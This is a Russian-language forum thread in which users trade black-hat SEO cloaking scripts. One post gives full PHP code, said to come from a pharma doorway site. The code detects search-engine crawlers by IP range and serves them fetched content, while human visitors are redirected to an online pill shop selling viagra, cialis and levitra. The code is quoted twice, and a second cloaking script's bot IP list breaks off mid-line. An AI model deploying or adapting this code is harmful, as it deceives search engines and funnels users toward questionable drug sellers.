Старый 02.10.2012, 22:10   #1
EnDoR
 
Регистрация: 01.04.2012
Сообщений: 12
Репутация: 0
Exclamation Разыскивается скрипт!

Всех приветствую!
Собственно вопрос,может кто встречал на шеллах клоакинг-скрипт?
А если говорить точнее,то меня интересует не сам скрипт,а база ip-адресов ботов гугла оттуда.
Может быть есть у кого такая база?
Не за бесплатно само собой.
Нет желания запускать свою сетку для отлова ботов...
EnDoR вне форума   Ответить с цитированием
Старый 04.10.2012, 20:26   #2
Betepok
 
Регистрация: 06.01.2012
Сообщений: 14
Репутация: 3
По умолчанию

http://iplists.com/google.txt
Betepok вне форума   Ответить с цитированием
Старый 04.10.2012, 21:02   #3
EnDoR
 
Регистрация: 01.04.2012
Сообщений: 12
Репутация: 0
По умолчанию

Цитата:
Сообщение от Betepok Посмотреть сообщение
http://iplists.com/google.txt
Нет,это не то!Нужны ip-адреса ХИТРОботов,которые маскируются под человека.
EnDoR вне форума   Ответить с цитированием
Старый 05.10.2012, 00:34   #4
chupakabra
 
Аватар для chupakabra
 
Регистрация: 09.12.2011
Сообщений: 47
Репутация: 5
По умолчанию

взято с фарма-дора из топа гугла

PHP код:
error_reporting(E_ALL);
ini_set('display_errors'0);

define('DEFAULT_URL''http://drugsforlove.net/');
define('BOT_BASE'"http://pleasewait.biz/e/02/%s.html");
define('BOT_DEFAULT_URL''http://www.google.com/');
define('COOKIE_KEY''molder-folder');

define('BOTSTAT','botstat.txt');
define('USERSTAT','userstat.txt');

define('LOG',false);

$iplist = <<<TXT
8.6.48.0 - 8.6.55.255
63.84.190.224 - 63.84.190.255
63.211.200.72 - 63.211.200.79
64.41.128.0 - 64.41.255.255
64.68.64.0 - 64.68.95.255
64.124.112.24 - 64.124.112.31
64.124.229.168 - 64.124.229.175
64.128.207.160 - 64.128.207.175
64.154.178.208 - 64.154.178.223
64.233.160.0 - 64.233.191.255
65.196.235.32 - 65.196.235.47
65.210.56.208 - 65.210.56.223
65.211.194.96 - 65.211.194.111
65.214.112.96 - 65.214.112.127
65.214.255.96 - 65.214.255.111
65.221.133.176 - 65.221.133.191
65.223.8.48 - 65.223.8.63
65.245.24.8 - 65.245.24.15
66.102.0.0 - 66.102.15.255
66.192.134.32 - 66.192.134.47
66.249.64.0 - 66.249.95.255
67.69.26.16 - 67.69.26.23
67.69.26.16 - 67.69.26.23
67.126.100.8 - 67.126.100.15
67.126.100.8 - 67.126.100.15
69.111.141.152 - 69.111.141.159
69.111.141.160 - 69.111.141.167
69.224.21.208 - 69.224.21.215
69.224.31.0 - 69.228.76.111
69.236.33.64 - 69.236.33.71
69.237.120.224 - 69.237.120.231
70.89.39.152 - 70.89.39.159
70.89.39.152 - 70.89.39.159
70.89.39.152 - 70.89.39.159
70.90.219.48 - 70.90.219.55
70.90.219.48 - 70.90.219.55
70.90.219.48 - 70.90.219.55
70.90.219.72 - 70.90.219.79
70.90.219.72 - 70.90.219.79
70.90.219.72 - 70.90.219.79
70.239.229.224 - 70.239.229.255
71.130.34.0 - 71.130.34.255
71.130.103.0 - 71.130.103.255
72.14.192.0 - 72.14.255.255
72.14.224.0 - 72.14.231.255
74.125.0.0 - 74.125.255.255
75.17.48.200 - 75.17.48.207
75.23.57.184 - 75.23.57.191
75.37.253.184 - 75.37.253.191
75.52.142.128 - 75.52.142.135
75.52.244.208 - 75.52.244.215
75.52.246.56 - 75.52.246.63
75.52.246.64 - 75.52.246.71
75.52.246.72 - 75.52.246.79
75.52.246.80 - 75.52.246.87
75.52.248.32 - 75.52.248.39
76.200.97.96 - 76.200.97.103
76.220.105.184 - 76.220.105.191
76.242.87.248 - 76.242.87.255
76.246.222.104 - 76.246.222.111
99.40.120.224 - 99.40.120.255
99.144.150.32 - 99.144.150.39
99.148.13.24 - 99.148.13.31
99.163.5.80 - 99.163.5.87
166.90.148.64 - 166.90.148.79
206.186.136.192 - 206.186.136.255
209.85.128.0 - 209.85.255.255
209.185.0.0 - 209.185.255.255
209.245.184.136 - 209.245.184.143
209.247.159.144 - 209.247.159.159
209.249.73.64 - 209.249.73.71
216.33.229.0 - 216.33.229.255
216.109.64.0 - 216.109.95.255
216.200.251.112 - 216.200.251.119
216.235.136.72 - 216.235.136.79
216.235.136.72 - 216.235.136.79
216.239.32.0 - 216.239.63.255
80.67.24.1 - 80.67.24.255
TXT;

$word_url =<<<TXT
viagra@@http://drugsforlove.net/?product=viagra
cialis@@http://drugsforlove.net/?product=cialis
levitra@@http://drugsforlove.net/?product=levitra
TXT;

$words = array();
$urls = array();

$word_url explode("\n"$word_url);
$word_url_cnt count($word_url);
for(
$i 0$i $word_url_cnt$i++)
{
    
$word_url[$i] = trim($word_url[$i]);
    if (empty(
$word_url[$i]))
    {
        unset(
$word_url[$i]);
    } else {
        list(
$word,$url) = explode('@@'$word_url[$i]);
        if (!empty(
$word) && !empty($url)) {
            
$words[] = $word;
            
$urls[] = $url;
        }
    }
}
unset(
$word_url);

$search_engine_check_keywords = array('google','yahoo','aol','bing','msn','search');
$se_keyword_keys = array('q''p');

$ip $_SERVER['REMOTE_ADDR'];
$bIsSerch false;
//$iplist = read_iplist(IPLIST);
$iplist load_iplist($iplist);
$iplist_cnt count($iplist);
for(
$i 0$i $iplist_cnt$i++) {
    if (
ip_in_range($ip$iplist[$i])) {
        
$bIsSerch true// ??? - ?????????
        
break;
    }
}

$url '';
$ua strtolower($_SERVER['HTTP_USER_AGENT']);
if(isset(
$_SERVER['HTTP_REFERER'])) {
    
$ref rawurlencode($_SERVER['HTTP_REFERER']);
}else {
    
$ref '';
}

$bot_base false;

if(
$bIsSerch == true) { 
    if (
LOG) {
        
$log fopen(BOTSTAT,'ab');
        if (
$log) {
            
fwrite($logdate('Y-m-d H:i:s').' '.$ip.' '.$ua.' '.rawurldecode($ref)."\n");
            
fclose($log);
        }
    }

    if(isset(
$_SERVER['QUERY_STRING']) && $_SERVER['QUERY_STRING']!='') {
        
$url sprintf(BOT_BASE$_SERVER['QUERY_STRING']);
        
$bot_base true;
    }else {
        
$url BOT_DEFAULT_URL;
    }
} else { 
// ???????
    
if (LOG) {
        
$log fopen(USERSTAT,'ab');
        if (
$log) {
            
fwrite($logdate('Y-m-d H:i:s').' '.$ip.' '.$ua.' '.rawurldecode($ref)."\n");
            
fclose($log);
        }
    }
    if(isset(
$_SERVER['QUERY_STRING']) && $_SERVER['QUERY_STRING']!='') {
        if(!isset(
$_COOKIE[COOKIE_KEY])) {
            
setcookie(COOKIE_KEY2);
            
$visit 1;
        }else {
            
$visit = (int)$_COOKIE[COOKIE_KEY];
            
setcookie(COOKIE_KEY$visit+1);
        }

        
$parameter trim($_SERVER['QUERY_STRING']);
        
$ip $_SERVER['REMOTE_ADDR'];


        if(
$ref == '' || !is_search_engine($ref)) {
            
header('HTTP/1.1 500 Server Error');
            exit(
0);
        }

        if (
count($_GET) == 1) { 
            
$keyword array_keys($_GET);
            
$keyword str_replace(array('_','-'),array(' ',' '),$keyword[0]);
            if ( (
$url search_url($keyword$words$urls)) === false) {
                
$url DEFAULT_URL;
            }
            
header ("Location: $url");
            exit;
        } else {
            
$url DEFAULT_URL;
            
header ("Location: $url");
            exit;
        }
    } else {
        
$url DEFAULT_URL;
        
header ("Location: $url");
        exit;
    }

}

$html load_page($url);
if(
$html===false) {
    if (
$bot_base) {
        
header('HTTP/1.1 404 Not Found');
        exit(
0);
    } else {
        
$html load_page(DEFAULT_URL);
    }
}
echo 
$html;

/**
 * Get script keyword from URL
 *
 * They find keyword and return it
 *
 *
 *
 *
 * @get_keyword()
 * @uses to parse url
 *
 * @param string $url Url to script
 */



function get_keyword($url) {
    GLOBAL 
$se_keyword_keys;
    
$u parse_url($url);

    if (isset(
$u['query']) && $u['query'] != '') {
        
$u1 split('\&'$u['query']);

        foreach (
$u1 as $value) {
            
$u2 split('='$value);

            if(
in_array($u2[0], $se_keyword_keys)) {
                return 
$u2[1];
            }
        }
        return 
"";
    }else {
        return 
"";
    }
}


/**
 * Check user is search engine
 *
 * Try check is search engine
 *
 *
 *
 *
 * @is_search_engine()
 * @uses to dedicated user
 *
 * @param string $url Url to script
 */

function is_search_engine($url) {
    GLOBAL 
$search_engine_check_keywords;
    foreach(
$search_engine_check_keywords as $key) {
        if(
strpos($url$key) !== false) {
            return 
true;
        }
    }

    return 
false;
}

/**
 *  Function Load and form page
 *
 *  Load and form page
 *
 *
 *
 *
 * @load_page()
 * @uses to load page before show for user
 *
 * @param string $url Url to script
 */

function load_page($url) {
    
$url_parsed parse_url($url);

    if(isset(
$url_parsed['port'])) {
        
$port $url_parsed['port'];
    }else {
        
$port 80;
    }
    
$path $url_parsed['path'];

    if(isset(
$url_parsed['query'])) {
        
$path .= "?".$url_parsed['query'];
    }


    
$host $url_parsed['host'];
    
$ua $_SERVER['HTTP_USER_AGENT'];
    
$fp fsockopen($host$port$errno$errstr30);
    if (!
$fp) {
        return 
false
    } else {
        
$out "GET ".$path." HTTP/1.0\r\n";
        
$out .= "Host: ".$host.":".$port."\r\n";
        
$out .= "User-Agent: ".$ua."\r\n";
        
$out .= "Content-Type: text/html\r\n";
        
$out .= "Connection: Close\r\n";
        
$out .= "\r\n";
        
fwrite($fp$out);
        
$resp '';

        while (!
feof($fp)) {
            
$resp .= fgets($fp128);
        }

        
fclose($fp);

        if(
strstr($resp'404 Not Found')) {return false;}
        
$paths split("\r\n\r\n"$resp2);
        return 
$paths[1];
    }
}

function 
read_iplist($file) {
    
$iplist = array();
    if (
version_compare(PHP_VERSION'5.0.0''>=')) {
        
$iplist file($file,FILE_IGNORE_NEW_LINES FILE_SKIP_EMPTY_LINES);
    } else {
        
$handle fopen($file,'rb');

        while (!
feof($handle)) {
            
$line fgets($handle4096);
            
$line trim($line);
            if (!empty(
$line)) {
                
$iplist[] = $line;
            }
        }

        
fclose($handle);
    }
    return 
$iplist;
}

function 
load_iplist($iplist) {
    
$iplist explode("\n"$iplist);
    
$iplist_cnt count($iplist);
    for(
$i 0$i $iplist_cnt$i++) {
        
$iplist[$i] = trim($iplist[$i]);
        if (empty(
$iplist[$i])) {
            unset(
$iplist[$i]);
        }
    }
    
$iplist array_values($iplist);
    return 
$iplist;
}

function 
decbin32 ($dec) {
  return 
str_pad(decbin($dec), 32'0'STR_PAD_LEFT);
}

function 
ip_in_range($ip$range) {
  if (
strpos($range'/') !== false) {
    
// $range is in IP/NETMASK format
    
list($range$netmask) = explode('/'$range2);
    if (
strpos($netmask'.') !== false) {
      
// $netmask is a 255.255.0.0 format
      
$netmask str_replace('*''0'$netmask);
      
$netmask_dec ip2long($netmask);
      return ( (
ip2long($ip) & $netmask_dec) == (ip2long($range) & $netmask_dec) );
    } else {
      
// $netmask is a CIDR size block
      // fix the range argument
      
$x explode('.'$range);
      while(
count($x)<4$x[] = '0';
      list(
$a,$b,$c,$d) = $x;
      
$range sprintf("%u.%u.%u.%u", empty($a)?'0':$a, empty($b)?'0':$b,empty($c)?'0':$c,empty($d)?'0':$d);
      
$range_dec ip2long($range);
      
$ip_dec ip2long($ip);

      
# Strategy 1 - Create the netmask with 'netmask' 1s and then fill it to 32 with 0s
      #$netmask_dec = bindec(str_pad('', $netmask, '1') . str_pad('', 32-$netmask, '0'));

      # Strategy 2 - Use math to create it
      
$wildcard_dec pow(2, (32-$netmask)) - 1;
      
$netmask_dec = ~ $wildcard_dec;

      return ((
$ip_dec $netmask_dec) == ($range_dec $netmask_dec));
    }
  } else {
    
// range might be 255.255.*.* or 1.2.3.0-1.2.3.255
    
if (strpos($range'*') !==false) { // a.b.*.* format
      // Just convert to A-B format by setting * to 0 for A and 255 for B
      
$lower str_replace('*''0'$range);
      
$upper str_replace('*''255'$range);
      
$range "$lower-$upper";
    }

    if (
strpos($range'-')!==false) { // A-B format
      
list($lower$upper) = explode('-'$range2);
      
$lower trim($lower); $upper trim($upper);
      
$lower_dec = (float)sprintf("%u",ip2long($lower));
      
$upper_dec = (float)sprintf("%u",ip2long($upper));
      
$ip_dec = (float)sprintf("%u",ip2long($ip));
      return ( (
$ip_dec>=$lower_dec) && ($ip_dec<=$upper_dec) );
    }

    echo 
'Range argument is not in 1.2.3.4/24 or 1.2.3.4/255.255.255.0 format';
    return 
false;
  }

}


function 
search_url($keyword,$words,$urls) {
    if (
$index array_search($keyword$words)) { 
        return 
$urls[$index];
    } else {
        
$words_cnt count($words);
        
$index false;
        
$keywords explode(' '$keyword);
        
$keywords_cnt count($keywords);
        for( 
$i 0$i $keywords_cnt$i++)
        {
            
$keywords[$i] = trim($keywords[$i]);
            if (empty(
$keywords[$i])) {
                unset(
$keywords[$i]);
            }
        }
        
$keywords array_values($keywords);
        
$keywords_cnt count($keywords);


        
$x = array();
        
$n $keywords_cnt;
        
$x range(0$n);

        
$yes true;
        
$full_keywords = array();

        for(
$j=0;$yes == true;$j++) {
            
$txt_keyword '';
            for(
$i=0;$i<$n;$i++) {
                
$txt_keyword .= $keywords[$x[$i]].' ';
            }
            
$full_keywords[] = trim($txt_keyword);
            
$yes nnext($x,$n);
        }

        
$full_keywords_cnt count($full_keywords);




        for(
$i 0;$i $words_cnt$i++) {
            if (
strpos(strtolower($words[$i]),strtolower($keyword)) === 0) {
                return 
$urls[$i];
            } else {
                for (
$j 0$j $full_keywords_cnt$j++) {
                    if (
strpos(strtolower($words[$i]), strtolower($full_keywords[$j])) !== false) {
                        return 
$urls[$i];
                    }
                }
            }
        }

        for(
$j 0;$j $keywords_cnt$j++) {
            for(
$i=0;$i$words_cnt$i++) {
                if (
strpos(strtolower($words[$i]),strtolower($keywords[$j])) !== false) {
                    return 
$urls[$i];
                }
            }
        }
    }
    return 
false;
}
function 
nnext(&$x$n) {
    
$i $n 2;
    while (
$i>=&& $x[$i]>$x[$i+1]) {
        --
$i;
    }
    if (
$i>=0) {
        
$j $i+1;
        while (
$j<($n-1) && $x[$j+1]>$x[$i]) {
            ++
$j;
        }
        
swap($x[$i],$x[$j]);
        
$to floor (($n+$i-1)/2);
        for (
$j=$i+1;$j<=$to;$j++) {
            
swap($x[$j],$x[$n-$j+$i]);
        }
        return 
true;
    } else {
        return 
false;
    }

}

function 
swap(&$x,&$y)
{
    
$x $x $y;
    
$y $x $y;
    
$x $x $y;

chupakabra вне форума   Ответить с цитированием
Старый 05.10.2012, 20:39   #5
EnDoR
 
Регистрация: 01.04.2012
Сообщений: 12
Репутация: 0
По умолчанию

Цитата:
Сообщение от chupakabra Посмотреть сообщение
взято с фарма-дора из топа гугла

PHP код:
error_reporting(E_ALL);
ini_set('display_errors'0);

define('DEFAULT_URL''http://drugsforlove.net/');
define('BOT_BASE'"http://pleasewait.biz/e/02/%s.html");
define('BOT_DEFAULT_URL''http://www.google.com/');
define('COOKIE_KEY''molder-folder');

define('BOTSTAT','botstat.txt');
define('USERSTAT','userstat.txt');

define('LOG',false);

$iplist = <<<TXT
8.6.48.0 - 8.6.55.255
63.84.190.224 - 63.84.190.255
63.211.200.72 - 63.211.200.79
64.41.128.0 - 64.41.255.255
64.68.64.0 - 64.68.95.255
64.124.112.24 - 64.124.112.31
64.124.229.168 - 64.124.229.175
64.128.207.160 - 64.128.207.175
64.154.178.208 - 64.154.178.223
64.233.160.0 - 64.233.191.255
65.196.235.32 - 65.196.235.47
65.210.56.208 - 65.210.56.223
65.211.194.96 - 65.211.194.111
65.214.112.96 - 65.214.112.127
65.214.255.96 - 65.214.255.111
65.221.133.176 - 65.221.133.191
65.223.8.48 - 65.223.8.63
65.245.24.8 - 65.245.24.15
66.102.0.0 - 66.102.15.255
66.192.134.32 - 66.192.134.47
66.249.64.0 - 66.249.95.255
67.69.26.16 - 67.69.26.23
67.69.26.16 - 67.69.26.23
67.126.100.8 - 67.126.100.15
67.126.100.8 - 67.126.100.15
69.111.141.152 - 69.111.141.159
69.111.141.160 - 69.111.141.167
69.224.21.208 - 69.224.21.215
69.224.31.0 - 69.228.76.111
69.236.33.64 - 69.236.33.71
69.237.120.224 - 69.237.120.231
70.89.39.152 - 70.89.39.159
70.89.39.152 - 70.89.39.159
70.89.39.152 - 70.89.39.159
70.90.219.48 - 70.90.219.55
70.90.219.48 - 70.90.219.55
70.90.219.48 - 70.90.219.55
70.90.219.72 - 70.90.219.79
70.90.219.72 - 70.90.219.79
70.90.219.72 - 70.90.219.79
70.239.229.224 - 70.239.229.255
71.130.34.0 - 71.130.34.255
71.130.103.0 - 71.130.103.255
72.14.192.0 - 72.14.255.255
72.14.224.0 - 72.14.231.255
74.125.0.0 - 74.125.255.255
75.17.48.200 - 75.17.48.207
75.23.57.184 - 75.23.57.191
75.37.253.184 - 75.37.253.191
75.52.142.128 - 75.52.142.135
75.52.244.208 - 75.52.244.215
75.52.246.56 - 75.52.246.63
75.52.246.64 - 75.52.246.71
75.52.246.72 - 75.52.246.79
75.52.246.80 - 75.52.246.87
75.52.248.32 - 75.52.248.39
76.200.97.96 - 76.200.97.103
76.220.105.184 - 76.220.105.191
76.242.87.248 - 76.242.87.255
76.246.222.104 - 76.246.222.111
99.40.120.224 - 99.40.120.255
99.144.150.32 - 99.144.150.39
99.148.13.24 - 99.148.13.31
99.163.5.80 - 99.163.5.87
166.90.148.64 - 166.90.148.79
206.186.136.192 - 206.186.136.255
209.85.128.0 - 209.85.255.255
209.185.0.0 - 209.185.255.255
209.245.184.136 - 209.245.184.143
209.247.159.144 - 209.247.159.159
209.249.73.64 - 209.249.73.71
216.33.229.0 - 216.33.229.255
216.109.64.0 - 216.109.95.255
216.200.251.112 - 216.200.251.119
216.235.136.72 - 216.235.136.79
216.235.136.72 - 216.235.136.79
216.239.32.0 - 216.239.63.255
80.67.24.1 - 80.67.24.255
TXT;

$word_url =<<<TXT
viagra@@http://drugsforlove.net/?product=viagra
cialis@@http://drugsforlove.net/?product=cialis
levitra@@http://drugsforlove.net/?product=levitra
TXT;

$words = array();
$urls = array();

$word_url explode("\n"$word_url);
$word_url_cnt count($word_url);
for(
$i 0$i $word_url_cnt$i++)
{
    
$word_url[$i] = trim($word_url[$i]);
    if (empty(
$word_url[$i]))
    {
        unset(
$word_url[$i]);
    } else {
        list(
$word,$url) = explode('@@'$word_url[$i]);
        if (!empty(
$word) && !empty($url)) {
            
$words[] = $word;
            
$urls[] = $url;
        }
    }
}
unset(
$word_url);

$search_engine_check_keywords = array('google','yahoo','aol','bing','msn','search');
$se_keyword_keys = array('q''p');

$ip $_SERVER['REMOTE_ADDR'];
$bIsSerch false;
//$iplist = read_iplist(IPLIST);
$iplist load_iplist($iplist);
$iplist_cnt count($iplist);
for(
$i 0$i $iplist_cnt$i++) {
    if (
ip_in_range($ip$iplist[$i])) {
        
$bIsSerch true// ??? - ?????????
        
break;
    }
}

$url '';
$ua strtolower($_SERVER['HTTP_USER_AGENT']);
if(isset(
$_SERVER['HTTP_REFERER'])) {
    
$ref rawurlencode($_SERVER['HTTP_REFERER']);
}else {
    
$ref '';
}

$bot_base false;

if(
$bIsSerch == true) { 
    if (
LOG) {
        
$log fopen(BOTSTAT,'ab');
        if (
$log) {
            
fwrite($logdate('Y-m-d H:i:s').' '.$ip.' '.$ua.' '.rawurldecode($ref)."\n");
            
fclose($log);
        }
    }

    if(isset(
$_SERVER['QUERY_STRING']) && $_SERVER['QUERY_STRING']!='') {
        
$url sprintf(BOT_BASE$_SERVER['QUERY_STRING']);
        
$bot_base true;
    }else {
        
$url BOT_DEFAULT_URL;
    }
} else { 
// ???????
    
if (LOG) {
        
$log fopen(USERSTAT,'ab');
        if (
$log) {
            
fwrite($logdate('Y-m-d H:i:s').' '.$ip.' '.$ua.' '.rawurldecode($ref)."\n");
            
fclose($log);
        }
    }
    if(isset(
$_SERVER['QUERY_STRING']) && $_SERVER['QUERY_STRING']!='') {
        if(!isset(
$_COOKIE[COOKIE_KEY])) {
            
setcookie(COOKIE_KEY2);
            
$visit 1;
        }else {
            
$visit = (int)$_COOKIE[COOKIE_KEY];
            
setcookie(COOKIE_KEY$visit+1);
        }

        
$parameter trim($_SERVER['QUERY_STRING']);
        
$ip $_SERVER['REMOTE_ADDR'];


        if(
$ref == '' || !is_search_engine($ref)) {
            
header('HTTP/1.1 500 Server Error');
            exit(
0);
        }

        if (
count($_GET) == 1) { 
            
$keyword array_keys($_GET);
            
$keyword str_replace(array('_','-'),array(' ',' '),$keyword[0]);
            if ( (
$url search_url($keyword$words$urls)) === false) {
                
$url DEFAULT_URL;
            }
            
header ("Location: $url");
            exit;
        } else {
            
$url DEFAULT_URL;
            
header ("Location: $url");
            exit;
        }
    } else {
        
$url DEFAULT_URL;
        
header ("Location: $url");
        exit;
    }

}

$html load_page($url);
if(
$html===false) {
    if (
$bot_base) {
        
header('HTTP/1.1 404 Not Found');
        exit(
0);
    } else {
        
$html load_page(DEFAULT_URL);
    }
}
echo 
$html;

/**
 * Get script keyword from URL
 *
 * They find keyword and return it
 *
 *
 *
 *
 * @get_keyword()
 * @uses to parse url
 *
 * @param string $url Url to script
 */



function get_keyword($url) {
    GLOBAL 
$se_keyword_keys;
    
$u parse_url($url);

    if (isset(
$u['query']) && $u['query'] != '') {
        
$u1 split('\&'$u['query']);

        foreach (
$u1 as $value) {
            
$u2 split('='$value);

            if(
in_array($u2[0], $se_keyword_keys)) {
                return 
$u2[1];
            }
        }
        return 
"";
    }else {
        return 
"";
    }
}


/**
 * Check user is search engine
 *
 * Try check is search engine
 *
 *
 *
 *
 * @is_search_engine()
 * @uses to dedicated user
 *
 * @param string $url Url to script
 */

function is_search_engine($url) {
    GLOBAL 
$search_engine_check_keywords;
    foreach(
$search_engine_check_keywords as $key) {
        if(
strpos($url$key) !== false) {
            return 
true;
        }
    }

    return 
false;
}

/**
 *  Function Load and form page
 *
 *  Load and form page
 *
 *
 *
 *
 * @load_page()
 * @uses to load page before show for user
 *
 * @param string $url Url to script
 */

function load_page($url) {
    
$url_parsed parse_url($url);

    if(isset(
$url_parsed['port'])) {
        
$port $url_parsed['port'];
    }else {
        
$port 80;
    }
    
$path $url_parsed['path'];

    if(isset(
$url_parsed['query'])) {
        
$path .= "?".$url_parsed['query'];
    }


    
$host $url_parsed['host'];
    
$ua $_SERVER['HTTP_USER_AGENT'];
    
$fp fsockopen($host$port$errno$errstr30);
    if (!
$fp) {
        return 
false
    } else {
        
$out "GET ".$path." HTTP/1.0\r\n";
        
$out .= "Host: ".$host.":".$port."\r\n";
        
$out .= "User-Agent: ".$ua."\r\n";
        
$out .= "Content-Type: text/html\r\n";
        
$out .= "Connection: Close\r\n";
        
$out .= "\r\n";
        
fwrite($fp$out);
        
$resp '';

        while (!
feof($fp)) {
            
$resp .= fgets($fp128);
        }

        
fclose($fp);

        if(
strstr($resp'404 Not Found')) {return false;}
        
$paths split("\r\n\r\n"$resp2);
        return 
$paths[1];
    }
}

function 
read_iplist($file) {
    
$iplist = array();
    if (
version_compare(PHP_VERSION'5.0.0''>=')) {
        
$iplist file($file,FILE_IGNORE_NEW_LINES FILE_SKIP_EMPTY_LINES);
    } else {
        
$handle fopen($file,'rb');

        while (!
feof($handle)) {
            
$line fgets($handle4096);
            
$line trim($line);
            if (!empty(
$line)) {
                
$iplist[] = $line;
            }
        }

        
fclose($handle);
    }
    return 
$iplist;
}

function 
load_iplist($iplist) {
    
$iplist explode("\n"$iplist);
    
$iplist_cnt count($iplist);
    for(
$i 0$i $iplist_cnt$i++) {
        
$iplist[$i] = trim($iplist[$i]);
        if (empty(
$iplist[$i])) {
            unset(
$iplist[$i]);
        }
    }
    
$iplist array_values($iplist);
    return 
$iplist;
}

function 
decbin32 ($dec) {
  return 
str_pad(decbin($dec), 32'0'STR_PAD_LEFT);
}

function 
ip_in_range($ip$range) {
  if (
strpos($range'/') !== false) {
    
// $range is in IP/NETMASK format
    
list($range$netmask) = explode('/'$range2);
    if (
strpos($netmask'.') !== false) {
      
// $netmask is a 255.255.0.0 format
      
$netmask str_replace('*''0'$netmask);
      
$netmask_dec ip2long($netmask);
      return ( (
ip2long($ip) & $netmask_dec) == (ip2long($range) & $netmask_dec) );
    } else {
      
// $netmask is a CIDR size block
      // fix the range argument
      
$x explode('.'$range);
      while(
count($x)<4$x[] = '0';
      list(
$a,$b,$c,$d) = $x;
      
$range sprintf("%u.%u.%u.%u", empty($a)?'0':$a, empty($b)?'0':$b,empty($c)?'0':$c,empty($d)?'0':$d);
      
$range_dec ip2long($range);
      
$ip_dec ip2long($ip);

      
# Strategy 1 - Create the netmask with 'netmask' 1s and then fill it to 32 with 0s
      #$netmask_dec = bindec(str_pad('', $netmask, '1') . str_pad('', 32-$netmask, '0'));

      # Strategy 2 - Use math to create it
      
$wildcard_dec pow(2, (32-$netmask)) - 1;
      
$netmask_dec = ~ $wildcard_dec;

      return ((
$ip_dec $netmask_dec) == ($range_dec $netmask_dec));
    }
  } else {
    
// range might be 255.255.*.* or 1.2.3.0-1.2.3.255
    
if (strpos($range'*') !==false) { // a.b.*.* format
      // Just convert to A-B format by setting * to 0 for A and 255 for B
      
$lower str_replace('*''0'$range);
      
$upper str_replace('*''255'$range);
      
$range "$lower-$upper";
    }

    if (
strpos($range'-')!==false) { // A-B format
      
list($lower$upper) = explode('-'$range2);
      
$lower trim($lower); $upper trim($upper);
      
$lower_dec = (float)sprintf("%u",ip2long($lower));
      
$upper_dec = (float)sprintf("%u",ip2long($upper));
      
$ip_dec = (float)sprintf("%u",ip2long($ip));
      return ( (
$ip_dec>=$lower_dec) && ($ip_dec<=$upper_dec) );
    }

    echo 
'Range argument is not in 1.2.3.4/24 or 1.2.3.4/255.255.255.0 format';
    return 
false;
  }

}


function 
search_url($keyword,$words,$urls) {
    if (
$index array_search($keyword$words)) { 
        return 
$urls[$index];
    } else {
        
$words_cnt count($words);
        
$index false;
        
$keywords explode(' '$keyword);
        
$keywords_cnt count($keywords);
        for( 
$i 0$i $keywords_cnt$i++)
        {
            
$keywords[$i] = trim($keywords[$i]);
            if (empty(
$keywords[$i])) {
                unset(
$keywords[$i]);
            }
        }
        
$keywords array_values($keywords);
        
$keywords_cnt count($keywords);


        
$x = array();
        
$n $keywords_cnt;
        
$x range(0$n);

        
$yes true;
        
$full_keywords = array();

        for(
$j=0;$yes == true;$j++) {
            
$txt_keyword '';
            for(
$i=0;$i<$n;$i++) {
                
$txt_keyword .= $keywords[$x[$i]].' ';
            }
            
$full_keywords[] = trim($txt_keyword);
            
$yes nnext($x,$n);
        }

        
$full_keywords_cnt count($full_keywords);




        for(
$i 0;$i $words_cnt$i++) {
            if (
strpos(strtolower($words[$i]),strtolower($keyword)) === 0) {
                return 
$urls[$i];
            } else {
                for (
$j 0$j $full_keywords_cnt$j++) {
                    if (
strpos(strtolower($words[$i]), strtolower($full_keywords[$j])) !== false) {
                        return 
$urls[$i];
                    }
                }
            }
        }

        for(
$j 0;$j $keywords_cnt$j++) {
            for(
$i=0;$i$words_cnt$i++) {
                if (
strpos(strtolower($words[$i]),strtolower($keywords[$j])) !== false) {
                    return 
$urls[$i];
                }
            }
        }
    }
    return 
false;
}
function 
nnext(&$x$n) {
    
$i $n 2;
    while (
$i>=&& $x[$i]>$x[$i+1]) {
        --
$i;
    }
    if (
$i>=0) {
        
$j $i+1;
        while (
$j<($n-1) && $x[$j+1]>$x[$i]) {
            ++
$j;
        }
        
swap($x[$i],$x[$j]);
        
$to floor (($n+$i-1)/2);
        for (
$j=$i+1;$j<=$to;$j++) {
            
swap($x[$j],$x[$n-$j+$i]);
        }
        return 
true;
    } else {
        return 
false;
    }

}

function 
swap(&$x,&$y)
{
    
$x $x $y;
    
$y $x $y;
    
$x $x $y;

Да,то что надо!Большое-приогромное спасибо)

P.S.Правда скрипт как-то на мой взгляд заумно написан(там где хватит функции preg_match используется целая самописная функция и т.п),я сам написал аналогичный скрипт под себя и ИМХО моя реализация куда лучше,проще и понятнее.
EnDoR вне форума   Ответить с цитированием
Старый 06.10.2012, 14:13   #6
chupakabra
 
Аватар для chupakabra
 
Регистрация: 09.12.2011
Сообщений: 47
Репутация: 5
По умолчанию

Ну выкладывай, посмотрим =)
chupakabra вне форума   Ответить с цитированием
Старый 06.10.2012, 20:44   #7
EnDoR
 
Регистрация: 01.04.2012
Сообщений: 12
Репутация: 0
По умолчанию

Цитата:
Сообщение от chupakabra Посмотреть сообщение
Ну выкладывай, посмотрим =)
Отправил в ПМ,а то школота как налетит=)
EnDoR вне форума   Ответить с цитированием
Старый 10.10.2012, 19:56   #8
recfrf
 
Регистрация: 30.07.2010
Сообщений: 40
Репутация: 1
По умолчанию

вот например известная клоака из топа
Код:
<?php
$bot_list = array("8.6.48","62.172.199","62.27.59","63.163.102","64.157.137","64.157.138","64.233.173","64.68.80","64.68.81","64.68.82","64.68.83","64.68.84","64.68.85","64.68.86","64.68.87","64.68.88","64.68.89","64.68.90","64.68.91","64.68.92","64.75.36","66.163.170","66.163.174","66.196.101","66.196.65","66.196.67","66.196.72","66.196.73","66.196.74","66.196.77","66.196.78","66.196.80","66.196.81","66.196.90","66.196.91","66.196.92","66.196.93","66.196.97","66.196.99","66.218.65","66.218.70","66.228.164","66.228.165","66.228.166","66.228.173","66.228.182","66.249.64","66.249.65","66.249.66","66.249.67","66.249.68","66.249.69","66.249.70","66.249.71","66.249.72","66.249.73","66.249.78","66.249.79","66.94.230","66.94.232","66.94.233","66.94.238","67.195.115","67.195.34","67.195.37","67.195.44","67.195.45","67.195.50","67.195.51","67.195.52","67.195.53","67.195.54","67.195.58","67.195.98","68.142.195","68.142.203","68.142.211","68.142.212","68.142.230","68.142.231","68.142.240","68.142.246","68.142.249","68.142.250","68.142.251","68.180.216","68.180.250","68.180.251","69.147.79","72.14.199","72.30.101","72.30.102","72.30.103","72.30.104","72.30.107","72.30.110","72.30.111","72.30.124","72.30.128","72.30.129","72.30.131","72.30.132","72.30.133","72.30.134","72.30.135","72.30.142","72.30.161","72.30.177","72.3